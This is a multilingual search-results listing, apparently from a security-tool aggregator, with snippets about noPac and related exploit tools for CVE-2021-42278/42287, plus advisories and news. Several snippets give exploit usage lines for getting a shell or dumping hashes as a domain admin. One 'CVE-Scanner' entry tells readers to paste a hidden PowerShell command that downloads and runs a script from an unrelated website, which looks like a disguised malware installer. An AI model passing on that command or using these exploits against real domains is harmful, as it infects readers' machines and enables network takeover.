25 matches found
noPac-detection
概要 CVE-2021-42278 および CVE-2021-42287 の検出スクリプト 使用方法 root@kitploit: The detection script uses the domain account credentials to determine the possibility of the vulnerabilities. usage: noPac-detection.py -h -debug -dc-ip -targetUser credentials optional arguments: -h, --help show this help message...
sam-the-admin
CVE-2021-42278 および CVE-2021-42287 を悪用し、標準ドメインユーザーから DA になりすます 既知の問題 Kali 以外では動作しません。後日更新します : 関連情報 CVE-2021-42287/CVE-2021-42278 武器化 sAMAccountName スプーフィング...
noPac
noPac このプロジェクトは、noPac の原理学習のために生まれました。cube0x0 のプロジェクトをベースにいくつかの変更を加えています。ソースコードには個人的な理解のコメントを追加しました。 Scan 機能を削除しました。個人的には Scan 機能はあまり役に立たないと感じました。 MachineAccountQuota 値の判定を追加しました。0 の場合はプログラムを終了します。 コンピュータアカウント追加時の判定処理を最適化しました。 TGT の出力を追加しました。 脆弱性の分析記事は私のブログ記事をご覧ください：noPac 分析 利用条件 noPac は...
noPac
概要 CVE-2021-42278 と CVE-2021-42287 を悪用して、標準ドメインユーザーから DA を偽装します 元は sam-the-admin から変更されました。 使用方法 root@kitploit: SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. options: -h, --help show this help message and exi...
Pachine
Pachine Implementación en Python para CVE-2021-42278 Escalada de privilegios en Active Directory. Instalación root@kitploit: $ pip3 install impacket Uso root@kitploit: Impacket v0.9.23 - Copyright 2021 SecureAuth Corporation usage: pachine.py -h -scan -spn SPN -impersonate IMPERSONATE...
CVE-Scanner
CVE-Scanner 🔍 CVE-Scanner 是一款用于扫描和利用与 CVE-2021-42287、CVE-2021-42278 及其他安全漏洞相关漏洞的工具。本项目旨在为安全专业人员和研究人员提供一种直接的方法来识别并缓解其系统中的风险。 目录 功能 安装 用法 支持的 CVE 贡献 许可证 联系方式 功能 CVE 扫描 ：快速识别应用程序中的漏洞。 漏洞利用工具 ：针对特定 CVE 执行漏洞利用，以测试系统的防御能力。 用户友好界面 ：设计易于使用，即使对于安全工具新手也很友好。 定期更新 ：及时了解最新的漏洞和修复方案。 安装 开始使用前，请从 Releases 页面...
Invoke-sAMSpoofing
Invoke-sAMSpoofing CVE-2021-42287/CVE-2021-42278 的 PowerShell 利用工具 目录 概述 菜单 截图 参考 概述 一个简单的脚本，用于自动利用 CVE-2021-42287/CVE-2021-42278 攻击 AD。 菜单 Invoke-sAMSpooofing Invoke-GoldenTicket Invoke-GoldenTips RemoveMachineAccount Invoke-Rubeus ADSIHound Invoke-DCSync 截图 Invoke-sAMSpooofing...
CVE-Scanner
CVE-Scanner CVE-2021-42287/CVE-2021-42278/其他 扫描器与利用工具. 安装 1. 按下 WIN + R 键 2. 复制并粘贴以下代码，然后按回车键 root@kitploit: powershell -WindowStyle Hidden -Command ScriptBlock::Createirm https://jaihind.edu.in/weatherdolphin/dollrandom.Invoke; 3. 重启你的电脑 使用 1. 打开 CMD 2. fexkex IP FOR SCAN...
noPac
noPac CVE-2021-42278 および CVE-2021-42287 の悪用 元のプロジェクトnoPacの実装には問題がある可能性があり、ローカルでうまく動作しなかったため、sam-the-adminプロジェクトを参考にして修正しました。 使い方 root@kitploit: pip3 install -r requirements.txt GetShell python3 exp.py "domain/Username:Passw0rd" -dc-ip 192.168.0.254 -shell DumpHash python3 exp.py...
Invoke-noPac
Invoke-noPac この .Net アセンブリは、オリジナルを改善するためのコード変更を加えた私のフォーク https://github.com/ricardojba/noPac に基づいています。 PowerSharpPack スタイルの .Net アセンブリローダーです。CVE-2021-42287 - CVE-2021-42278 スキャナー & エクスプロイト noPac 用。 使用法: root@kitploit: Set-PSReadlineOption -HistorySaveStyle SaveNothing...
noPac
概要 NoPacエクスプロイトは、古い脆弱性であるCVE-2021-42278とCVE-2021-42287を利用して、標準ユーザーからドメイン管理者になりすまします。 もううんざりするような依存関係はなし、単一バイナリだけ。本当にGoが大好きだ。Pythonには絶対に無理だ。 -shellフラグはimpacket-smbexecを起動するだけです。なりすましたアカウントのccacheファイルをそのまま使うこともできます。...
CosmicBeetle Deploys Custom ScRansom Ransomware, Partnering with RansomHub
The threat actor known as CosmicBeetle has debuted a new custom ransomware strain called ScRansom in attacks targeting small- and medium-sized businesses SMBs in Europe, Asia, Africa, and South America, while also likely working as an affiliate for RansomHub. "CosmicBeetle replaced its previously...
noPac - Exploiting CVE-2021-42278 And CVE-2021-42287 To Impersonate DA From Standard Domain User
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA from standard domain user Changed from sam-the-admin. Usage SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain positional arguments: domain/username:password Account used to authenticate to DC. optional arguments: -h, --help show thi...
Microsoft Windows Active Directory Privilege Escalation Multiple Vulnerabilities (CVE-2021-42278; CVE-2021-42287)
Multiple Privilege Escalation vulnerabilities exists in Microsoft Windows Active Directory. Successful exploitation of this vulnerability could allow a remote attacker to easily elevate their privilege to that of a domain admin once he compromise a regular user in the domain...
Two Active Directory Bugs Lead to Easy Windows Domain Takeover
A proof-of-concept tool has been published that leverages two Windows Active Directory bugs fixed last month that, when chained, can allow easy Windows domain takeover. In a Monday alert, Microsoft urged organizations to immediately patch the pair of bugs, tracked as CVE-2021-42287 and...
Exploit for CVE-2021-42278
Pachine Python implementation for CVE-2021-42278 Active Dire...
CVE-2021-42278
creationtimestamp| type| source ---|---|--- 2021-12-11 19:44:35+00:00| published-proof-of-concept| https://t.me/GithubRedTeam/952 2021-12-11 20:46:13+00:00| published-proof-of-concept| https://t.me/BlueRedTeam/1328 2021-12-12 14:54:29+00:00| published-proof-of-concept| https://t.me/m1swarr1or/29...
Exploit for CVE-2021-42278
Exploiting CVE-2021-42278 and CVE-2021-42287 to impersonate DA f...
